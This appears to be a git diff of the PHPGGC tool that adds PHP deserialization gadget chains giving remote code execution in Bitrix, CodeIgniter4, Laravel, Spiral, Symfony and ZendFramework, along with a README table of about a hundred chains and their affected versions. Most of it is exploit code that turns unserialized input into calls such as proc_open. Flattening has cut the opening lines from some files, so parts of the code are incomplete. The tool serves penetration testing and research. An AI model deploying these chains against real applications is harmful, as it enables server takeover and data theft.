diff --git a/README.md b/README.md index c861f3e..f514b0d 100644 --- a/README.md +++ b/README.md @@ -20,101 +20,109 @@ Gadget Chains ------------- -NAME VERSION TYPE VECTOR I -CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct -CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct -CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct -CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct -CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct -Doctrine/FW1 ? File write __toString * -Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * -Dompdf/FD1 1.1.1 <= ? File delete __destruct * -Dompdf/FD2 ? < 1.1.1 File delete __destruct * -Drupal7/FD1 7.0 < ? File delete __destruct * -Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * -Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct -Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * -Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * -Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * -Kohana/FR1 3.* File read __toString * -Laminas/FD1 <= 2.11.2 File delete __destruct -Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * -Laravel/RCE1 5.4.27 RCE (Function call) __destruct -Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString -Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct -Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * -Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct -Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * -Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * -Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * -Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * -Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct -Magento/FW1 ? <= 1.9.4.0 File write __destruct * -Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct -Magento2/FD1 * File delete __destruct * -Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct * -Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct -Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct -Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct -Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * -Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct -Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct -Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct * -Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * -Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * -Phalcon/RCE1 <= 1.2.2 RCE __wakeup * -PHPCSFixer/FD1 <= 2.17.3 File delete __destruct -PHPCSFixer/FD2 <= 2.17.3 File delete __destruct -PHPExcel/FD1 1.8.2+ File delete __destruct -PHPExcel/FD2 <= 1.8.1 File delete __destruct -PHPExcel/FD3 1.8.2+ File delete __destruct -PHPExcel/FD4 <= 1.8.1 File delete __destruct -PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct * -Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString -Slim/RCE1 3.8.1 RCE (Function call) __toString -Smarty/FD1 ? File delete __destruct -Smarty/SSRF1 ? SSRF __destruct * -SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct -SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString -SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString -SwiftMailer/FW3 5.0.1 File write __toString -SwiftMailer/FW4 4.0.0 <= ? File write __destruct -Symfony/FW1 2.5.2 File write DebugImport * -Symfony/FW2 3.4 File write __destruct -Symfony/RCE1 3.3 RCE (Command) __destruct * -Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * -Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * -Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * -Symfony/RCE5 5.2.* RCE (Function call) __destruct -TCPDF/FD1 <= 6.3.5 File delete __destruct * -ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct * -ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct * -ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * -ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct * -Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct * -WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * -WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * -WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * -WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * -Yii/RCE1 1.1.20 RCE (Function call) __wakeup * -Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * -Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * -ZendFramework/FD1 ? <= 1.12.20 File delete __destruct -ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * -ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * -ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct -ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * +NAME VERSION TYPE VECTOR I +Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct +CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct +CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct +CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct +CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct +CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct +CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct +Doctrine/FW1 ? File write __toString * +Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * +Dompdf/FD1 1.1.1 <= ? File delete __destruct * +Dompdf/FD2 ? < 1.1.1 File delete __destruct * +Drupal7/FD1 7.0 < ? File delete __destruct * +Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * +Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct +Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * +Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * +Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * +Kohana/FR1 3.* File read __toString * +Laminas/FD1 <= 2.11.2 File delete __destruct +Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * +Laravel/RCE1 5.4.27 RCE (Function call) __destruct +Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct +Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * +Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct +Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * +Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * +Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * +Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * +Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct +Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString +Laravel/RCE11 5.4.0 <= 9.1.8+ RCE (Function call) __destruct +Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE (Function call) __destruct * +Magento/FW1 ? <= 1.9.4.0 File write __destruct * +Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct +Magento2/FD1 * File delete __destruct * +Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct * +Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct +Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct +Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct +Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * +Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct +Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct +Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct * +Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * +Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * +Phalcon/RCE1 <= 1.2.2 RCE __wakeup * +PHPCSFixer/FD1 <= 2.17.3 File delete __destruct +PHPCSFixer/FD2 <= 2.17.3 File delete __destruct +PHPExcel/FD1 1.8.2+ File delete __destruct +PHPExcel/FD2 <= 1.8.1 File delete __destruct +PHPExcel/FD3 1.8.2+ File delete __destruct +PHPExcel/FD4 <= 1.8.1 File delete __destruct +PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct * +Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString +Slim/RCE1 3.8.1 RCE (Function call) __toString +Smarty/FD1 ? File delete __destruct +Smarty/SSRF1 ? SSRF __destruct * +Spiral/RCE1 2.7.0 <= 2.8.13 RCE (Function call) __destruct +Spiral/RCE2 -2.8+ RCE (Function call) __destruct * +SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct +SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString +SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString +SwiftMailer/FW3 5.0.1 File write __toString +SwiftMailer/FW4 4.0.0 <= ? File write __destruct +Symfony/FW1 2.5.2 File write DebugImport * +Symfony/FW2 3.4 File write __destruct +Symfony/RCE1 3.3 RCE (Command) __destruct * +Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * +Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * +Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * +Symfony/RCE5 5.2.* RCE (Function call) __destruct +Symfony/RCE6 v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13 RCE (Command) __destruct * +TCPDF/FD1 <= 6.3.5 File delete __destruct * +ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct * +ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct * +ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * +ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct * +Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct * +WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * +WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * +WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * +WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * +Yii/RCE1 1.1.20 RCE (Function call) __wakeup * +Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * +Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * +ZendFramework/FD1 ? <= 1.12.20 File delete __destruct +ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * +ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * +ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct +ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * +ZendFramework/RCE5 2.0.0rc2 <= 2.5.3 RCE (Function call) __destruct``` ``` Filter gadget chains: diff --git a/gadgetchains/Bitrix/RCE/chain.php b/gadgetchains/Bitrix/RCE/chain.php new file mode 100644 index 0000000..8d633dd --- /dev/null +++ b/gadgetchains/Bitrix/RCE/chain.php @@ -0,0 +1,30 @@ +errors = $Dictionary; + } + } + + class Error { + protected $message; + + public function __construct(object $ItemAttributes) + { + $this->message = $ItemAttributes; + } + } +} + +namespace Bitrix\Main\ORM\Data { + class Result extends \Bitrix\Main\Result + { + protected $isSuccess = false; + protected $wereErrorsChecked = false; + + public function __construct(object $Dictionary) + { + parent::__construct($Dictionary); + } + } +} + +namespace Bitrix\Main\Type { + class Dictionary + { + protected $values; + + public function __construct(object $Error) + { + $this->values = [$Error]; + } + } +} + +namespace Bitrix\Main\UI\Viewer { + class ItemAttributes + { + protected $attributes; + + public function __construct(object $ResultIterator) + { + $this->attributes = $ResultIterator; + } + } +} + +namespace Bitrix\Main\DB { + class ResultIterator + { + private $counter = 0; + private $currentData = 0; + private $result; + + public function __construct(object $ArrayResult) + { + $this->result = $ArrayResult; + } + } + + class ArrayResult + { + protected $resource; + protected $converters; + + public function __construct(string $function, string $parameter) + { + $this->converters = [$function, 'WriteFinalMessage']; + $this->resource = [[$parameter], [['rce']]]; + } + } +} diff --git a/gadgetchains/CodeIgniter4/RCE/1/chain.php b/gadgetchains/CodeIgniter4/RCE/1/chain.php index ced036b..b0040e6 100644 --- a/gadgetchains/CodeIgniter4/RCE/1/chain.php +++ b/gadgetchains/CodeIgniter4/RCE/1/chain.php @@ -4,7 +4,7 @@ class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall { - public static $version = '4.0.0-beta.1 <= 4.0.0-rc.4'; + public static $version = '4.0.2 <= 4.0.3'; public static $vector = '__destruct'; public static $author = 'eboda'; diff --git a/gadgetchains/CodeIgniter4/RCE/4/chain.php b/gadgetchains/CodeIgniter4/RCE/4/chain.php new file mode 100644 index 0000000..6245df9 --- /dev/null +++ b/gadgetchains/CodeIgniter4/RCE/4/chain.php @@ -0,0 +1,18 @@ +redis = new \CodeIgniter\Session\Handlers\MemcachedHandler( + new \CodeIgniter\Model( + new \CodeIgniter\Database\BaseBuilder, + new \CodeIgniter\Validation\Validation, + $func + ), + $param + ); + } + } +} + +namespace CodeIgniter\Session\Handlers +{ + class MemcachedHandler + { + protected $memcached; + protected $lockKey; + + public function __construct($memcached, $param) + { + $this->lockKey = $param; + $this->memcached = $memcached; + } + } +} + +namespace CodeIgniter +{ + class Model + { + protected $builder; + protected $primaryKey; + protected $beforeDelete; + protected $validationRules; + protected $validation; + + public function __construct($builder, $validation, $func) + { + $this->builder = $builder; + $this->primaryKey = null; + + $this->beforeDelete = array(); + $this->beforeDelete[] = "validate"; + + $this->validation = $validation; + $this->validationRules = array( + "id" => array($func) + ); + } + } +} + +namespace CodeIgniter\Validation +{ + class Validation + { + protected $ruleSetFiles; + + public function __construct() + { + $this->ruleSetFiles = array("finfo"); + } + } +} + +namespace CodeIgniter\Database +{ + class BaseBuilder + { + } +} diff --git a/gadgetchains/Laravel/RCE/12/chain.php b/gadgetchains/Laravel/RCE/12/chain.php new file mode 100644 index 0000000..7eeb74d --- /dev/null +++ b/gadgetchains/Laravel/RCE/12/chain.php @@ -0,0 +1,22 @@ +hasRecords = true; + //$this->rollbarNotifier = new \Illuminate\Foundation\Support\Providers\RouteServiceProvider($function,$paramter);//laravel5.8.35 + $this->rollbarLogger = new \Illuminate\Foundation\Support\Providers\RouteServiceProvider($function,$paramter);//laravel7.0.0 + } + } +} + +namespace Illuminate\Foundation\Support\Providers{ + class RouteServiceProvider{ + protected $app; + + function __construct($function,$paramter) + { + $this->app = new \Illuminate\View\Factory($function,$paramter); + } + } +} + +namespace Illuminate\View{ + class Factory{ + protected $finder; + + function __construct($function,$paramter) + { + $this->finder = new \Symfony\Component\Console\Application($function,$paramter); + } + + } +} + +namespace Symfony\Component\Console{ + class Application{ + private $initialized; + private $commands; + private $commandLoader; + + function __construct($function,$paramter) + { + $this->initialized = true; + $this->commandLoader = new \Illuminate\Cache\Repository($function,$paramter); + $this->commands = [new \Illuminate\Foundation\AliasLoader()]; + } + } +} + +namespace Illuminate\Foundation{ + class AliasLoader{ + protected $aliases; + + function __construct() + { + $this->aliases = ["key"]; + } + } +} + +namespace Illuminate\Cache{ + class Repository{ + protected $store; + + function __construct($function,$paramter) + { + $this->store = new \PhpOption\LazyOption($function,$paramter); + } + } +} + +namespace PhpOption{ + class LazyOption{ + private $option; + private $callback; + private $arguments; + + function __construct($function,$paramter) + { + $this->callback = $function; + $this->arguments = [$paramter]; + } + } +} diff --git a/gadgetchains/Spiral/RCE/1/chain.php b/gadgetchains/Spiral/RCE/1/chain.php new file mode 100644 index 0000000..43ddb57 --- /dev/null +++ b/gadgetchains/Spiral/RCE/1/chain.php @@ -0,0 +1,18 @@ +dateFormat = "l"; + $this->mustRotate = true; + $this->filename = "anything"; + $this->filenameFormat = new \Spiral\Reactor\FileDeclaration($function,$param); + } + } +} + +namespace Spiral\Reactor +{ + class FileDeclaration + { + private $docComment; + + public function __construct($function,$parameter) + { + $this->docComment = new \PhpOption\LazyOption($function,$parameter); + } + } +} + +namespace PhpOption +{ + class LazyOption + { + private $callback; + private $arguments; + + public function __construct($function,$parameter) + { + $this->callback = $function; + $this->arguments = [$parameter]; + } + } +} \ No newline at end of file diff --git a/gadgetchains/Spiral/RCE/2/chain.php b/gadgetchains/Spiral/RCE/2/chain.php new file mode 100644 index 0000000..03c4616 --- /dev/null +++ b/gadgetchains/Spiral/RCE/2/chain.php @@ -0,0 +1,19 @@ +finalizer = new \Spiral\Boot\Finalizer($function,$param); + } + } +} + +namespace Spiral\Boot +{ + class Finalizer + { + private $finalizers; + + function __construct($function,$param) + { + $this->finalizers = [[new \PhpOption\LazyOption($function,$param),"get"]]; + } + } +} + +namespace PhpOption +{ + class LazyOption + { + private $callback; + private $arguments; + + public function __construct($function,$parameter) + { + $this->callback = $function; + $this->arguments = [$parameter]; + } + } +} \ No newline at end of file diff --git a/gadgetchains/Symfony/RCE/6/chain.php b/gadgetchains/Symfony/RCE/6/chain.php new file mode 100644 index 0000000..c64674c --- /dev/null +++ b/gadgetchains/Symfony/RCE/6/chain.php @@ -0,0 +1,20 @@ +parent = new \Symfony\Component\Cache\Traits\RedisProxy($cmd); + } + } +} + +namespace Symfony\Component\Cache\Traits +{ + class RedisProxy + { + private $initializer; + private $redis; + + function __construct($cmd) + { + $this->initializer = new \Symfony\Component\DependencyInjection\Loader\Configurator\InstanceofConfigurator($cmd); + $this->redis = $cmd; + } + } +} + +namespace Symfony\Component\DependencyInjection\Loader\Configurator +{ + class InstanceofConfigurator + { + protected $parent; + + function __construct($cmd) + { + $this->parent = new \Symfony\Component\Cache\Simple\Psr6Cache($cmd); + } + + } +} + +namespace Symfony\Component\Cache\Simple +{ + class Psr6Cache + { + private $pool; + + function __construct($cmd) + { + $this->pool = new \Symfony\Component\Cache\Adapter\PhpArrayAdapter($cmd); + } + + } +} + +namespace Symfony\Component\Cache\Adapter +{ + class PhpArrayAdapter + { + private $values; + private $createCacheItem; + + function __construct($cmd) + { + $this->values = array($cmd=>[]); + $this->createCacheItem = "proc_open"; + } + } +} \ No newline at end of file diff --git a/gadgetchains/ZendFramework/RCE/5/chain.php b/gadgetchains/ZendFramework/RCE/5/chain.php new file mode 100644 index 0000000..6746a2d --- /dev/null +++ b/gadgetchains/ZendFramework/RCE/5/chain.php @@ -0,0 +1,18 @@ +eventHandles = [1]; + $this->events = new \Zend\View\Renderer\PhpRenderer($function, $param); + } + } +} + +namespace Zend\View\Renderer +{ + class PhpRenderer + { + private $__helpers; + + function __construct($function, $param) + { + $this->__helpers = new \Zend\Tag\Cloud\DecoratorPluginManager($function, $param); + } + } +} + +namespace Zend\Tag\Cloud +{ + class DecoratorPluginManager + { + protected $canonicalNames; + protected $invokableClasses; + protected $retrieveFromPeeringManagerFirst; + protected $initializers; + + function __construct($function, $param) + { + $this->canonicalNames = array("detach"=>"cname","cname"=>"any"); + $this->invokableClasses = array("cname"=>"Zend\Tag\Cloud\DecoratorPluginManager");//satisfying the class_exists + $this->retrieveFromPeeringManagerFirst = false; + $this->initializers = [new \Zend\Filter\FilterChain($function, $param)]; + } + } +} + +namespace Zend\Filter +{ + class FilterChain + { + protected $filters; + + function __construct($function, $param) + { + $this->filters = new \SplFixedArray(2); + $this->filters[0] = array( + new \Zend\Json\Expr($param), + "__toString" + ); + $this->filters[1] = $function; + } + } +} + +namespace Zend\Json +{ + class Expr + { + protected $expression; + + function __construct($param) + { + $this->expression = $param; + } + } +} diff --git a/lib/PHPGGC.php b/lib/PHPGGC.php index aeb8f16..99484a2 100644 --- a/lib/PHPGGC.php +++ b/lib/PHPGGC.php @@ -232,7 +232,7 @@ }, $classes); $gcs = array_combine($names, $classes); - ksort($gcs); + ksort($gcs, SORT_NATURAL); return $gcs; } diff --git a/test-gc-compatibility.py b/test-gc-compatibility.py index eab553e..7b4d300 100755 --- a/test-gc-compatibility.py +++ b/test-gc-compatibility.py @@ -235,7 +235,13 @@ """Uses composer to install a specific version of the package.""" self.clean_workdir() _, stderr = self._executor.composer( - "require", "-q", "--ignore-platform-reqs", f"{self.name}:{version}" + "require", + "--no-scripts", + "--no-interaction", + "--no-plugins", + "--quiet", + "--ignore-platform-reqs", + f"{self.name}:{version}", ) if stderr: raise ValueError(f"Unable to install version: {version}")